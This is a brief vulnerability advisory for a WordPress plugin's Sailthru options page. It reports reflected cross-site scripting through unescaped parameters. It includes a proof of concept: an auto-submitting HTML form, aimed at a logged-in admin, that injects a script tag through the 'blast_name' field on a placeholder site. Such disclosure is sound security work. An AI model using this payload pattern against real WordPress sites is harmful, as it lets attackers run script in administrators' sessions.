Description The plugin does not sanitise and escape various parameters before outputting them back in pages and attributes, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=sailthru&action=blast" method="post">
        <input type="hidden" name="blast_name" value='"><script>alert(23)</script>' />
        <input type="submit" value="Submit" />
    </form>
</body>
```
